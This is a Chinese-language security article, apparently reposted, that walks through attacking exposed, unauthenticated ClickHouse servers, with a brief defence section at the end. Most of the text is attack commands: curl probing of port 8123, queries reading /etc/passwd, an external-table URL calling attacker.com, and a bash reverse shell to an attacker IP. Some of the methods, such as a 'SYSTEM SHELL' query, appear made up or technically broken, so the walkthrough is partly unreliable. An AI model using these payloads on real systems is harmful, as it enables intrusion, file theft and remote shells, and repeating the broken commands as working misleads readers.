从deepseek未授权探索clickhouse命令执行
字数 914 2025-08-29 08:30:36
ClickHouse 命令执行漏洞分析与利用
漏洞背景
本文基于DeepSeek未授权访问漏洞探索ClickHouse数据库的命令执行利用方式。ClickHouse是一个开源的列式数据库管理系统,由Yandex开发,用于在线分析处理(OLAP)。
漏洞原理
ClickHouse在某些配置下可能允许未授权访问,攻击者可以利用这一漏洞进一步执行系统命令。主要利用点在于ClickHouse的以下几个特性:
- HTTP接口暴露:ClickHouse默认监听8123端口提供HTTP API
- 配置不当:可能允许未授权查询
- 功能特性:支持执行外部命令和文件操作
利用步骤
1. 检测ClickHouse服务
首先确认目标是否运行ClickHouse服务:
nmap -p 8123 <target_ip>
或者直接访问HTTP接口:
curl http://<target_ip>:8123
2. 未授权访问验证
尝试执行简单查询验证是否存在未授权访问:
curl "http://<target_ip>:8123?query=SELECT+1"
如果返回1,则说明存在未授权访问漏洞。
3. 信息收集
收集数据库信息:
curl "http://<target_ip>:8123?query=SELECT+version()"
curl "http://<target_ip>:8123?query=SHOW+DATABASES"
curl "http://<target_ip>:8123?query=SHOW+TABLES"
4. 命令执行利用
ClickHouse可以通过以下几种方式执行系统命令:
方法一:使用system命令
curl "http://<target_ip>:8123?query=SYSTEM+SHELL+'whoami'"
注意:需要shell命令执行权限,通常需要管理员权限。
方法二:通过外部表执行
- 创建外部表指向系统命令:
CREATE TABLE cmd_exec (output String) ENGINE = URL('http://attacker.com:8000/?cmd=`whoami`', 'CSV')
- 查询表触发命令执行:
SELECT * FROM cmd_exec
方法三:通过executable表函数
SELECT * FROM executable('whoami', 'TabSeparated', 'output String')
5. 文件系统访问
ClickHouse可以读取服务器文件:
SELECT * FROM file('/etc/passwd', 'TSV', 'line String')
6. 反弹Shell
结合命令执行功能获取交互式Shell:
SYSTEM SHELL 'bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1'
防御措施
-
访问控制:
- 配置
users.xml设置强密码认证 - 限制访问IP(
networks配置项)
- 配置
-
权限控制:
- 最小权限原则,禁用不必要的功能
- 禁用
SYSTEM SHELL命令
-
网络层面:
- 不要将ClickHouse HTTP接口暴露在公网
- 使用防火墙限制访问
-
日志监控:
- 监控异常查询模式
- 审计敏感操作
漏洞影响
成功利用此漏洞可能导致:
- 数据库信息泄露
- 服务器命令执行
- 内网横向移动
- 数据篡改或删除
总结
ClickHouse的未授权访问结合其强大的系统交互功能可能导致严重的命令执行漏洞。管理员应严格配置访问控制,安全研究人员在授权测试中可以利用这些特性进行深入测试。